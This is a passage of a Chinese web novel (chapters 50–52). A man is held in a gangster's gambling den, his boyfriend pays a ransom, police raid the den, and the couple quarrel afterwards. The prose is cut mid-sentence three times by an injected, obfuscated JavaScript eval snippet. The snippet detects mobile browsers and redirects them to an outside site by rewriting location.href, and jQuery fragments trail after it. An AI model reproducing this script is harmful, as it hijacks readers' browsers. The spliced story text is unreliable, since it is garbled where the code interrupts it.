闻影心说我也不是非得立刻跟你住一起。晏关山也不问,这种邀请太超前了,他不确定闻影想不想再多过一段儿自由一点的生活,所以按下不提。只是默默地把自己的生活敞开,主动抠出一些空缺,让闻影的部分渗透进来。
是不让对方反感的,循序渐进的接纳。
兼职告一段落,报酬拿到手的那天是个周五,闻影在群里艾特了所有人,问他们周末有没有空吃饭,在晏关山家里吃。
他主动约饭已经很稀奇了,还约在别人家里,边屹敏感地察觉到一丝古怪,问他要干嘛。
闻影卖关子不说,晏关山只回了句:“要买什么酒和零食,给我列一单,晚上我去买。”
闻影刚下课,从教室里出来打着电话懒洋洋的,问他:“不问问我要干嘛。”
“不问。”晏关山自信地答,“猜得到。”
闻影“切”了声说:“那你猜。”
晏关山笑了下小声地用气音说:“你要给我一合法身份。”
电话那头,王医生和小陈不满的地起哄,说院长偷偷摸摸讲小话不给他俩听,不乐意了。
闻影想象一下那画面都发笑,逗他说:“暂时合法不了。”
“违法也行。”晏关山偷感十足地道,“违法我也要的。”
50.第 50 章
约的周六吃,正好费彦回玉城办事儿,能待几天见一面。闻影跟晏关山说要晚点过去,让他先去超市随便买点零食。
“你几点过来?”晏关山电话打过来时呼呼刮着风,正在去超市的路上。
闻影估摸了下时间:“再一个小时出门。”
晏关山:“在家啊?”
“收东西。”闻影直言,“拿点常用的去你那放着。”
“我来接你。”晏关山立刻申请,搬家这种事他最积极。
闻影肩膀夹着电话,不知道塞什么用着力说:“用不着,你买完东西我搞不好都在家打着游戏了,没收多少东西。”
没收多少东西,那就是没打算彻底搬过去常住。
“行。”晏关山倔强地找补,“缺什么现买,咱不差钱。”
向朋友们正式宣布二人关系,对闻影多一层意义,因为边屹和费彦是他的家人,把男朋友介绍给家人,是他的一种郑重。人在对大多数事情上无所谓的态度,总会因为某个契机或者某个人自外向内地改变。
别人对自己的了解程度闻影是无所谓不在乎的,那还能保持一份神秘感,以此疏离一切不想靠近的人事物,可这个小心思和习惯会因为有了晏关山而不那么必要,晏关山想要了解闻影的心情,就像闻影探寻对方的过往一样迫切,他们默契地选择了一种偷偷摸摸小心翼翼的方式在靠近。
家庭不完整所带来的不幸,让很多可以直截了当的了解过程变得艰难,闻影感觉得到这份体贴和用心,所以这次他想主动把晏关山拉进自己的生活,拉到他汲汲营营维护了很多年的亲友圈子里,那里面不大,却全是闻影最重要的人,那里面必须有晏关山。
收拾一些必要的零碎就是第一步,猴子搬包谷一样慢慢搬进晏关山的大房子,以共同度过周末的由头,填补缺失的六年。闻影在画室里东掏西掏,一个精致古朴的小木盒,一套宅家必备懒人披肩,两幅他自个儿满意的画,一套未开封的全新画具,一本最近在恶补的考试教材,七七八八塞了一大包。
提起来正准备出门时,电话又响起来。
“给你的最后时限到了。”罗虎的声音在嘈杂的环境里断断续续,“今天你必须把钱给我弄来,老地方,咱晚上好好唠唠。”
“你他妈——”闻影话还没说完那边就挂了。
紧接着门就被人大力地拍响,邦邦邦十分不客气,拍门的人在外头叫叫嚷嚷,喊着闻影的名字催着还钱,嘴里不干不净,一副地痞流氓做派,很显然是罗虎手下的人。
闻影放下手里的东西,从猫眼往外看,都是来蹲他的人,四五个流氓,看样子不蹲到人他们不会走。闻影想过立马报警,可罗虎不在现场,按照他的尿性要么找人顶锅要么溜之大吉,那闻影的如意算盘就落空了,不把罪魁祸首抓掉,后患无穷。
思来想去,他咬咬牙给晏关山发了一条微信,不慌不忙地开了门。
“再拍老子的门把你丫手剁了。”
闻影磨着牙吼,吼完抱臂靠着门,眉眼一挑挑衅道:“不就是还钱么,带路吧。”
罗虎的人接上闻影的时候就把他手机给没收了,那几个小弟有被闻影揍过的,对他还算客气,车一路往堕落街行驶,闻影心想,这街面儿上有几家KTV几家洗浴城他都清楚的,所谓的罗虎的场子不也就那几家临街的棋牌室和商K,他快速在心中计算路线,假如和对方没谈拢或者发生突发情况,他得跑,得安安全全地跑出来。
意识到自己居然在琢磨逃跑路线,闻影不免在心里自嘲,我可真怂啊。
谈恋爱降不降智不好说,但会把人变成脓包是真的。
换做从前,他是宁愿同归于尽也绝不吃亏的莽夫,反正孑然一身,真是打架把自己打没了,也没什么牵挂。如今不一样了,他有牵挂了,说话做事前他始终会想起晏关山,会考虑自己要是没了,晏关山会不会难过?
这个问句很快被他自己给予肯定,晏关山会难过,他会特别特别难过。
比他跑遍各大工地,把宠物医院名字全改了,玻璃上印着树依旧找不到人还难过。
所以闻影怵就怵在这儿,他得按着自己的脾气,得配合,得为了男朋友全身而退。这个念头一直转着,到了商K,罗虎的小弟非要让闻影戴一头套,他一句话没多说,让戴就戴。电梯不知道停在几楼,闻影被人推了出去。
整一个过程都像是没钱剧组在硬演□□,出了电梯,没听见KTV那种鬼哭狼嚎的声音,闻影心里才咯噔一下。被人推着七拐八绕的走了一阵,到了最里面,他感觉到身边的人按响了墙上的东西。门头突然发出响声,像是对讲机似的,他跟着小弟跨进那道被打开的门,继续在黑黢黢的楼道里七拐八绕,再次来到一道门前。
“人带来了。”小弟对看守的人说。
“手机?”一个低沉嗓音男绕着闻影打量了一圈。
小弟:“收了。”
安静了一会儿,那人默不作声地捶了下门,门开了,闻影被人从后背一把推了进去。
头套终于被人扯下,闻影适应了一下五光十色的环境,看清周围什么情况后还是有点懵的。
贴墙放满了五花八门的老虎机,每一台机器几乎都坐着人,他们怀里捧着个筐,里面全是游戏币,机器叮铃咣当地响,有人笑有人骂,大都神色专注在自己的屏幕前,闻影进来没几个人回头看。
小弟嘿嘿一笑:“景三儿,开眼界了吧,这才是我们虎哥真正的场子。”
“赌场啊。”闻影皮笑肉不笑道,“棋牌室容不下罗虎这尊大佛了,现在往狠了开。”
小弟搓搓手:“这个赚,你要不要试试?”
“我不是来玩儿的。”闻影扫视一圈,“罗虎人呢?”
小弟讪讪笑了下将人继续往里头带,闻影看见了好几张大小不一的赌桌,四周还有打麻将的,其间有不少人在巡场子,罗虎占着一张最大的赌桌在喝酒打牌,见到闻影他只是抬了下手:“过来坐。”
闻影吸了吸鼻子,除了烟味酒味,他似乎还闻到了其他不太对劲的味道,他皱着眉走过去,罗虎身边的人识相地给他让了座。
闻影二郎腿一翘:“阵仗够大的,虎哥,还怕我跑?”
“谁知道呢。”罗虎专注在自己手中的牌,有一句没一句道,“你那家回一天不回一天的,刚还收拾东西呢不是?怎么,要换地方住啊?这种大事你不告诉我,我不是只能叫人去蹲你?”
闻影冷笑一声:“我能往哪儿跑?我干嘛的叫什么你不都知道了。”
“所以啊。”罗虎没说后半句,只是抬起夹烟的手,食指拇指捏着搓了搓。
闻影:“你把我手机拿了,我用什么给你转账?”
“拖恁久都不还,我看你是真没钱了,给你手机也是拖时间,不急,在哥这儿先玩会儿。”罗虎大手一抬,指指东边又指指西边,“看上什么机子自己去,筹码我有的是,输光了还能借你,赢了算你的。”
“别,不爱这个。”闻影勾勾手指,“手机给我,现在转你。”
罗虎抬起头阴森地笑了下:“叫你去玩儿就去,要手机干嘛?摇人啊,打什么算盘。”
闻影拳头松了紧紧了松,到底是没打出去,只能讪讪笑着走开。说是为了要债把人带来,人来了反而不提钱了,闻影感觉到对方没憋好屁,捧着那一千块的筹码逛菜市场一样穿梭在赌博机前,他只好见机行事。
不论他走到哪里,始终有两个人尾随在后。这间赌博厅很大,应该是用很多包间打通的,小赌博机拥挤地排在进来的门口周
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788025|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
围,玩的人不算少,再往里到罗虎坐的地方就比较开阔,赌桌和台球桌都有,这些地方赌的就比较大了,闻影也勾着头看了会儿,赌鬼们自成一派以桌子为界限,像是还彼此相熟,赌得专心致志。而罗虎身后还有一个有隔断遮住的区域,闻影见他提着威士忌进去了几次,需要他周全的人肯定是得罪不起的大人物或者豪赌的大客户。
闻影瞟了一眼回过头,在一个水果机前坐下。
罗虎出狱之后非但狗改不了吃屎,还开了赌场,闻影要是没猜错,这场子里还有人飞过叶子,罗虎敢这么嚣张,必然有人层层把守更有保证自己全身而退的路线,闻影孤身入敌营,真有点儿手足无措的慌乱了。
哪怕他今天大闹赌场大打出手,也未必出得去。罗虎故意拖延时间,也不知道还想干什么。闻影腾地站起来,又回到罗虎身边坐下:“咱有事儿说事儿吧,虎哥,我也不爱玩这些,给我扣这儿耽误你生意。”
“啧。”罗虎狠狠吸了一口烟,杵在烟灰缸里,朝闻影吐了一大口说,“钱是钱,兄弟是兄弟,咱边喝边唠,急吼吼的干啥呢。”
他嘿嘿一笑叫来手下小弟,吩咐了几句,小弟麻利地绕到后面去拿酒拿杯,甚至连下酒菜都一应俱全,一字排开放在闻影面前的赌桌上。
闻影看着这阵仗没动作,失笑:“又喝啊?”
罗虎抬手往后递,小伙赶紧将手机掏出来,罗虎转麻将似的转着闻影的手机,点点桌面:“怕我给你下药?”
“我一男的,你下药能干吗?”闻影皮笑肉不笑抬起酒杯,他确实不太想喝,一进赌场就闻见了些别的味道,他不怕罗虎下药,怕他投毒害人。
“事了之前,先敬虎哥一杯,您大人大量,甭跟我计较,以前是我不懂事了。”闻影咬着牙服软,为了卸下对方的防备,他只能如此,他撞了撞罗虎的酒杯,头一仰喝尽杯中酒。
罗虎大笑,舒心畅意地也把酒喝光,叫小弟再满上,而后拍着闻影的脸蛋说:“景三儿啊,你这硬骨头要服个软,真难。你确实不懂事,知道干我们这行的最忌讳什么吗?”
“什么?”
“咱可不怕进局子,但最恨的就是跟条子打报告的叛徒,你就做过叛徒。”罗虎手上力道加重,再次拍着闻影的脸。
闻影后槽牙都要咬碎了,生生忍着,装作羞愧地道:“我的我的。”
“我这刚出来,没怎么着你是太忙腾不出手,算你走狗屎运。”罗虎把手机递过去,“最后一笔尾款转过来吧,给你个机会用钱消灾,我也懒得找你麻烦了。”
闻影虽然拿到了自己的手机,但几乎没办法在对方视线之下做任何多余的事,出门前他把敏感的聊天记录都删了,可眼下他只能放弃给晏关山报平安的想法。
罗虎是个精明的人,大额的钱款每次都分几批打去不同的账户,闻影按他说的分几次打够十万,旋即手机就被没收,闻影两手一摊,面色十分难看:“最后一点都给你了,虎哥,这还不够有诚意?”
罗虎满意是满意,扭头一笑:“想走?”
闻影一哂:“酒也喝了帐也了了,这以后不是一笔勾销?”
罗虎冷哼一声,没言语,他抬眼看向某一处,倏然眼睛一亮,阴笑起来:“景三儿,你小子胆大,把我坑进去蹲了几年,这事儿没那么容易算了。”
听这话头不对,闻影笑容依旧,只轻轻蹙了下眉问:“你还想干嘛?”
“打打杀杀的多没劲啊,还是钱香不是?这事儿跟你这愣头青真说不着。”罗虎往闻影身后扬了扬下巴,“还是他识相,晓得拿钱消灾的道理。”
闻影浑身一僵。
罗虎拍着闻影的肩膀,看向后方笑意渐浓,说道:“五十万买你一双手,你朋友够大方,这人能处啊,景三儿。”
51.第 51 章
闻影看见了目前他最不想看见的人。
被带进来的人一脸阴沉,他潦草地扫了一圈周围环境,目光落在闻影脸上就没撤开过。二人对视一眼,闻影眉头蹙得很深,嘴角也崩得死紧,晏关山面无表情眼神凌厉,闻影忐忑得心里都开始敲鼓。
走到近前晏关山扶在闻影的一边肩上,用力一捏道:“我来接人。”
这话是对着罗虎说的。
闻影扭头就想说什么,张了张嘴,感觉到肩上又来了一道力度,他的话生生咽下了。
罗虎早就倒好了酒,让晏关山坐在闻影旁边,他抬起酒杯说:“润润嗓来,怎么这么半天?”
“取钱花了些时间。”晏关山坐下,随意伸着长腿,不经意扫了闻影一眼,很快又转过头去。
闻影第一次被对方眼神盯得心里一凉,但他没办法问,坐直些说:“你俩搁这儿打什么哑谜?”
罗虎一边解释一边和晏关山碰杯:“刚不说了么,小山肯出这笔钱买你的手,我呢,也就大人大量放过你,景三儿你也学学,别总打打杀杀的,现在不兴那么混了,出来都是生意,兄兄弟弟的才长远。”
“是吧?小山?”罗虎伸手搂着晏关山,亲切地拍着他的肩。
晏关山冷笑着点了下头,把刚才提进来的巨大一个包踢到罗虎面前道:“都是现金,叫人点点。”
闻影猛地站起来,凳子刮地拉出一阵刺耳的声响:“晏关山你跟我过来。”说完他转头就走,气势汹汹地。
罗虎忙着数钱,只瞥了一眼抬抬手示意晏关山随意:“还年轻,就知道闹脾气,你俩说够了再过来。”
晏关山无言地跟过去。
找了个人少的地方,闻影一把将晏关山拉到角落,气鼓鼓都是装的,抬起头只有一对明亮的眼睛看过来,带了点心虚和无措,他上下左右打量着晏关山,明显紧张了。
晏关山心下了然:“他们没怎么我,你呢?”
“老实交代,你怎么进来的?他们给你打电话说了?拿我勒索你?逼着你给钱是不是?还是上家里找你了?”闻影倒豆子一样一连串问题。
晏关山没答,只问:“他们动你没?”
“没有。”闻影瞧他脸色不对,心虚地眨巴着眼睛,“我好得很。”
“好得很?”晏关山偏下巴指了某个方向,“自己看看。”
闻影看了,那边两三个人勾着头捣鼓着什么,淡淡的烟子一股股飘上去,隔那么远都闻得见味道。
闻影知道晏关山生气了,他垂眸盯着对方的长腿,没什么底气地狡辩:“事发突然,他们搁家门口蹲人,我只好来了。”
“除了跟他们走就没别的选择?”晏关山这个问句看上去没什么情绪,他是点闻影,要闻影自己说。
沉默了几秒,闻影低着头承认:“有的。”
“嗯。”晏关山点到为止。
闻影舔舔嘴皮,说:“我是想——”
“回家再解释。”晏关山打断他,沉声道,“一会儿保护好自己,别离开我视线。”
闻影知道对方肯定报警了,晏关山做事不会跟自己似的顾头不顾腚一头子闯进来,他瞟了一眼得意忘形的罗虎,难受地问:“那些钱万一被他们弄洒了,或者趁咱不注意转移了部分,能全部追回来吗?”
晏关山没回答这个问题。
闻影是真着急钱:“要是洒了我也会攒钱还——”
“钱的事现在还说不着。”晏关山没好气地瞪了他一眼。
他这是第一次严肃又生气地瞪闻影,把闻影瞪毛了,闻影语气里都有一丝慌乱:“接下来咋办呢?”
“跟我待着。”晏关山毫无耐心地叮嘱,“没叫你动你别动。”
“好的。”闻影赶紧答应,彻底闭了嘴。
这事儿闻影占不了一点理,从跟着走就想到了晏关山知道必然生大气,真见着他生气了,闻影才茫然地发现道歉和解释都那么无力,自己考虑问题不周全,晏关山不是没跟他反复提示过风险,还给过各种可行的建议,为的就是应对这样的突发状况。可他把人家的话当耳边风还是跟来,来了之后没后路,补救又得指望晏关山。
闻影心说我这回闯大祸了,该遭。
闯大祸就算了某人生大气了,这可怎么办啊。
五十万的现金不是笔小数目,细胳膊细腿的都提不动这么重的钱,小弟们围在那儿数了一阵,罗虎手上拿了几捆,一会儿拍拍,一会儿闻闻,肉眼可见的心情很好,他眼神不时瞟向不远处在角落叽叽咕咕的两个人,心想晏关山到底什么家庭背景,拿五十这么轻松怎么一开始不多要点,又想闻影和他到底什么关系,别说是朋友,干这行罗虎可见的多了,就是亲兄弟真父子,也未必能这么痛快割肉,晏关山这么好讹,不是落了什么把柄在闻影手上吧。
钱来的太容易,罗虎左思右想,叫来小弟,又把叽叽咕咕的两个人给带了过来。
晏关山本来就没觉得来这趟会有多顺利,毕竟跟罗虎不是正常做买卖,对方明目张胆地讹钱,就跟蚊子见了血,只会得寸进尺。所以他提前点过闻影,让他不要冲动的原因也是这个。
罗虎见钱眼开,不乐意放人走,忽然叫小弟扣着晏关山,逼他喊家里人再送一百万来。闻影本来还端得一副嬉皮笑脸想讲个价拖延时间,可罗虎的人突然掏出了刀子,二话不说就扭住晏关山的肩膀按在了一边。
晏关山懒得挣,这种时候不发生冲突是最明智的,但闻影不经激,被按着的是晏关山,被刀子威胁的也是晏关山,闻影一瞬间就被点炸了。
他扑过去和人扭打起来,下意识用身体把晏关山挡在后面,出拳下脚都稳准狠,好不容易才把按着晏关山的人全部打跑。得了松绑,晏关山哪还顾得上那么多,只能握紧拳头一人看着一边,谁过来揍谁。
罗虎一开始真就只是吓唬吓唬,没想闹出人命,可打起来谁也难控制场面,小弟们一拥而上,不一会儿已经见了血。他还呵呵笑着喊“给我打”,话音刚落,远处隐蔽着的大门就被破开,声响虽不大,但对赌场里的所有人都是致命的,闻影捂着头只隐约听见几声“快跑”“警察来了”的喊叫,揍人的小弟就一窝蜂散了。
闻影身上被踹了几脚,疼但是不严重,晏关山背对着他坐在地上,背微微躬着,刚才也是这个姿势挡在他面前。闻影伸手摸摸他的胳膊:“晏关山,你没——”
被碰到一刹那晏关山抖了一下,闻影心惊,看见对方衣服上的血。
“划哪儿了?”闻影没再碰他,跪着快速蹲到他正面,仔仔细细看了一圈,想去掀衣服又不太敢,“肚子上有没有伤?你划哪儿了?划哪儿了啊。”
闻影听见自己的声音在发抖,两只手无力地垂在地上,因为心慌而下意识抠着地板上的缝。
晏关山只说了句“不严重”就没再吭声,闻影不敢动他,摸着裤兜到处翻半天才想起来手机被罗虎给没收了,警察蜂拥而至冲进来,场面十分混乱,闻影扑过去拦人被当赌徒按在地上,他都没空解释,只吱哇乱叫让喊救护车。不一会儿来个认识晏关山的警察,把他俩带下去,塞进120拉去了医院。
这一整晚都兵荒马乱的,乱得闻影脑瓜子嗡嗡响,他的外伤不严重,急诊处理一下没大事,坐在医院走廊等着晏关山缝针,闻影后脑勺抵着墙,懊恼得想打自己几拳。
边屹他们一小伙人赶到医院的时候正好看见闻影迷迷瞪瞪望着天花板,脑壳一下一下无意识地往墙上撞。
“三儿。”费彦蹲到他面前,扫了一眼他脖子上贴着的纱布和眼角的淤青,眼睛一下就红了,费彦就喊着“三儿”抹眼泪,他说不出什么别的话。
“纸。”边屹也蹲下,塞给费彦一包纸巾,一只手摸着闻影的膝盖小声说,“我们都给吓着了。”
“嗯。”闻影闷闷地应了声,“没事儿了。”
“你别撞了。”边屹皱着眉,眼睛也红,“晏哥呢?”
闻影偏了下头,眼睛发直,完全聚焦不了:“里面缝针。”
“别担心,老晏电话里跟我说了伤不严重。”许寰坐到一旁凳子上,拍了下闻影的肩膀,“你们坐这儿等,我去护士站问问还要办什么手续。”
许寰走之前捏了下边屹的胳膊,边屹吸了下鼻子:“你去吧,我们不乱跑。”
费彦把头埋在胳膊哭了一会儿,情绪过去了,才抬起头问:“干嘛不跟我说?你总这样,老是一个人扛事儿,这事儿不是我的事儿吗?干嘛啊你。”
说着说着又要哭,边屹叹了口气,恍惚间像是回到他们仨高中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794491|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候,只是那时哭的都是他,鼻青脸肿坐着一脸大无畏的是景三和费费。他俩把边屹保护得很好,学校门口抢他钱的,年级里霸凌他的,因为他女性化的举止无底线嘲笑谩骂的,几乎都被闻影和费彦揍过,揍完也不说,进医院了边屹才知道,边屹就总这么蹲在凳子面前嗷嗷哭。
所以此刻他明白费彦的内疚和伤心,也明白不论说什么,闻影下回还是会替他出头,替所有他在乎的人出头。
这事儿是无解的。
以前闻影会嫌弃为这种事哭让人心烦,但他今天没有,他看着费彦抹眼泪,看他发红的眼睛,闻影发现自己也内疚得想哭。他张了张嘴,不知道说什么,用脚碰了碰费彦的鞋尖。
“别整这出。”费彦吸着鼻涕,“路上边妈把这几个月发生的事儿都说了,你……再这样我怎么跟你处?”
“不处了?”闻影问他。
费彦头一扭:“不处了,处不了,我欠你的太多了,下辈子都还不清还处呢。”
“以后我不这样了行不?”闻影说,“再有这种事我跟你俩直说。”
听他服软两个人都是猛地抬起头,边屹双手扶住闻影膝盖,晃晃也不说话,笑着。费彦却是一脸的不可思议。
“你这话能信吗我三哥啊。”费彦手杵下巴,委屈,“那咱还是接着处吧。”
“处呗。”闻影硬挤了个笑出来。
兄弟之间这事儿好说,警察把罗虎的赌场一锅端了,那之后的处理肯定跑不了,事情算是有个了结,无非就是前期转过去的钱不一定全都追得回来,不过闻影不是太关心这个,钱没了还能赚,埋在生活里的大雷彻底挖了才能过踏实。
哄好了兄弟,让人头疼的是晏关山。许寰拿了药和单子过来时敲了门,直接进了诊室,不一会儿晏关山跟着他出来了。费彦和边屹一顿嘘寒问暖,晏关山只淡淡说:“缝了几针,其他没事,现在就可以走了。”
“几针是多少针?”闻影站在一边笔挺得像是站军姿。
晏关山凉凉地扫了他一眼:“一针还是五十针它都缝好了,你不用管。”
是个人都感觉到气氛不太对,也没人再问晚上那顿家宴原本是为了什么,许寰打圆场说手续都办好了,还要去警察局做笔录,他开车送大家过去。
一路上晏关山都不说话,他在前排手肘抵着门边闭目养神,气压很低,三小只后座偶尔说几句,谁也不敢主动把话题扔给晏关山。到警察局晏关山先去做了笔录,闻影抱臂在外头等,旁边人说什么他也就听不进去了,黑沉沉的夜凉风飕飕刮着,月亮早就看不到了,他这一折腾,闹到了后半夜去。
“闻影,到你了。”警察把晏关山带出来,交代了几句话,让他先回家。
闻影闻声迎过去,晏关山没有要搭理他的意思,错开身直接走了,闻影赶紧叫住对方:“晏关山。”
晏关山脚步一顿,回过头来,满脸疲倦和阴沉。
“你去哪儿?”闻影眨眨眼,架不住对方眼神太凌厉,他眼神闪躲地往一边看。
晏关山语气冷冷地说:“回家。”
闻影咽了咽口水说:“等等我,我跟你一起——”
“不用。”晏关山冷淡地道,“各回各家吧。”
“你生我气了。”闻影舔舔下嘴唇,飞扬跋扈的唇角今天是往下撇的,他说,“生大气了。”
晏关山反问:“我不能生你气?”
“能。”闻影撇撇嘴。
晏关山微微侧着头继续问:“我该不该气?”
“该气。”闻影梗着脖子,头还是略略抵着,但掀着眼皮偷看对方一眼说,“我错了行不行?”
晏关山好好地盯了他五秒,叹了一口气说:“闻影,对错没那么重要,你不在乎自己,我做什么都白搭。”
闻影像是没听明白,立刻反驳:“没有白搭啊。”
“我可以陪你继续作死。”晏关山语气和缓了些,平平淡淡的,说的却是狠话,“可你能承担所有后果吗?承担得起吗?”
闻影愣住了。
“你要说能承担,就继续这样,我不说什么,以后再不说了,要怎么样随你的便。”晏关山说完这些话就头也不回地走了,背影看上去很生气决绝,但他话里话外,闻影明明听到了伤心。
52.第 52 章
去警察局配合调查持续了三天,诡异的是这三天居然都没和晏关山碰上面,闻影知道对方避着自己,还生气呢。
闻影理解他生气的点,应该是自己没听话捅出篓子,换做自己,气得会比他更激烈更不好哄。闻影没有哄人的经验,当天他从警察局出来就给晏关山打电话,他还是想和他一起回家去,有什么当面说,骂一顿也好嘛,可晏关山接起来语气疲惫低沉,说他已经睡着了,让闻影到家了给他发个微信。
这就是不打算见的意思。
之后在警局见不到人,闻影微信电话也没闲着,表面上看晏关山还是句句有回应,但回得之冷淡,明显是不开心。
[景三]:我错了。
[Y]:嗯。
闻影根本不知道接下去他怎么起头哄,没头没尾的,“嗯”什么都不代表。
“犯罪嫌疑人已经被采取了强制措施,目前还在取证阶段,等结束会移交检察院起诉。”刘警官把笔录打印出来让闻影按手印,交代道,“后续如果还有其他问题,再跟你打电话。”
“好的。”闻影把该做的做完,问道,“刘警官,晏关山那天提过去的钱要得回来吗?”
“不止那天的,整个案子里罗某团伙的违法所得都得追回,到时候会还给你们的。”刘警官笑了笑说,“这点你不用担心。”
闻影松了口气,苦着脸道:“辛苦你们了。”
“哪儿的话,这我们职责所在,而且你和晏关山提前收集的证据给了我们很大帮助。”刘警官欣慰地说,“本来报案的时候是敲诈勒索,我们侦查阶段发现对方涉黑涉赌涉毒,这是大案,歪打正着一锅端了。”
该配合调查的事儿告一段落,闻影也没觉得多轻松,刘警官把他送出门不忘问了句:“晏关山伤咋样了,给他打电话他居然在上班,你叫他好好休息,不差这几天吧。”
闻影讶异:“你们认识啊?”
“那肯定认识的,不认识我可不敢开口子让他上去找你。”刘警官摇摇头,无语道,“没觉得他是个这么犟的人呢,不让他去找你他要跟我急眼。”
闻影被罗虎带走已经属于挟持人质的性质,警方多方研判,救护车警车待命,各种协调下才允许晏关山上去找人,他带着定位器,从进入大楼开始就一直有警方暗中保护着,不然怎么可能刚进去没多久就会被警察找到地方及时解救。
这些晏关山一个字都没跟闻影说过。
“刘警官,你们怎么认识的啊?”闻影忍不住好奇道。
刘警官:“我们警队警犬生病体检定点去的动物医院,和晏关山他们动物救助基金会是合作单位,现在也总能见呢。”
“小闻,以后遇到这事儿别自个儿去处理,多危险啊,都自己去扛了要我们警察干嘛。”刘警官拍拍闻影的胳膊说,“没事儿了哈,希望你也别再遇到这种事了。”
闻影抓了抓后脑勺,倔头巴脑地说他老实了,刘警官看着比晏关山大几岁,挺可靠的一个人,闻影和他互相加了微信留下电话,说:“我请你吃个饭吧。”
“不吃不吃,忙不赢。”刘警官挥挥手赶他走,“晏关山老说吃饭吃饭,我这真没空,忙完这阵的约你们。”
从警察局出来,回学校也不是,回家也不是,闻影去了宠物医院,可没进去,他躲在能看到医院大堂的地方打了个电话给晏关山,没见他出来,那边好半天接起来,只说在忙,闻影就赶快挂了。
看得出来忙,大堂蛮多人的,进进出出,带着狗子背着猫包,晏医生一年四季都是忙碌的。闻影没走,找了个地方蹲着抽烟,就这样眼巴巴看着宠物医院。
费彦在闻影家里住了三天,前几天闻影去警察局费彦都一步不离地陪着,今天调查告一段落,费彦才肯回工地去。闻影打电话跟他们大致汇报了情况,说:“没别的事了,再来我跟你们说。”
“我在收东西了,一会儿自己去车站了哈。”费彦在电话里说,“边妈又给我带了不少零食,留了些在家里。”
闻影听见那边问:“是不是三哥啊,电话给我电话给我的。”
“三哥。”边屹抢过电话,喊了声名字就熄火了。
闻影:“干嘛,要说什么就说。”
“就上周六,你约大家去晏哥家里聚餐,不是没聚成么。”边屹支支吾吾地问,“你本来是不是有话要说啊。”
“嗯。”闻影很果断地给了肯定答复,他视线一直落在动物医院,隔着玻璃,瞧不见想瞧的人。
边屹着急道:“嗯完就没了?你能不能别话说一半,急死人!”
“告诉你们之前,我得先哄人。”闻影像是下了什么决心,把烟头杵灭扔掉,插兜掉头就走,“叫费费路上小心,先挂了。”
……
“院长,吃饭咯。”小陈把大堂的桌子收拾好,外卖一样样打开,才去敲了院长办公室的门,“今天的饭巨好吃。”
“附近不就这几家,王岳上周还说他吃腻打算断食。”晏关山洗了手将衣服挂好,拿上自己的碗筷出去。
小陈跟在他身后,说:“今天的不一样,附近可买不着。”
晏关山还没夹进嘴里就知道哪不一样了,饭菜来自老黄的大排档,离这儿半个城区,都是他平时爱吃的菜。晏关山没动筷,抬头往外看了半天,问小陈:“哪儿来的?”
“院长猜猜。”小陈抬起碗闻了一下,“妈呀,正宗炒河粉!”
晏关山无语地看着她:“闻影来过?”
“嫂子放下就走了,不让我告诉你。”小陈察言观色,小声问,“院长,你俩吵架了吗?”
晏关山自顾自吃自己的,吵没吵明眼人看得出来。
小陈把一盒汤端到他面前,筷子碰碰塑料碗,说:“嫂子说这碗点给你的,要盯着你把它全喝了,玉米猪脚汤,喝了伤好得快。”
宠物医院的同事们享大福了,因为院长和男朋友生闷气,而傻男友不知道该怎么哄,只好拼命往医院送吃的。三顿饭不必说,顿顿不重样,甚至比较远的馆子闻影还亲自去买了送过来。除此之外还有小姑娘爱喝的奶茶咖啡小甜品。
搜索网站上怎么教的闻影就怎么做,他也买了花,不拘泥于某一种,每天一大捧,连着一个星期,宠物医院的大堂已经处处都插上了鲜花,医生们桌上也有。由于吃得太好,王医生甚至有长胖的趋势。
哄人的小动作一连做了一周,闻影想着高低会起点作用吧,他也没哄过谁,主动搞浪漫就表白那次还被打脸了,抚慰一个成熟男人的情绪究竟送花送吃喝对不对也没人能给个标准答案。
闻影想过要不要让一生敏感多疑的边妈来支个招,可他还不知道两个人谈恋爱了,本来是要郑重宣布的,现在倒好,晏关山生气能生那么大,指不定还要不要跟自己好。闻影突然有点面子挂不住,说给边屹知道了,万一喜提被分手那不是翻大车。
男人还是爱面子的,这毛病改不掉。
提心吊胆地在宠物医院蹲了一个星期之后,闻影看着时机成熟,终于是下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798878|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定决心跟他面对面承认个错误,态度诚恳地服软,挨骂也不还嘴的那种软。
新的一周,闻影找同学拿了个东西揣兜里,马不停蹄地就直奔宠物医院,鼓起勇气走进去说找晏院长,小陈一懵:“院长好几天没来了,城西店有点忙,他最近应该会一直在那边。”
鼓起的勇气泄了一半,闻影讪讪问:“现在也在吗?”
“在的。”小陈说,“那边遇到了特殊情况,院长夜班都在那边守着。”
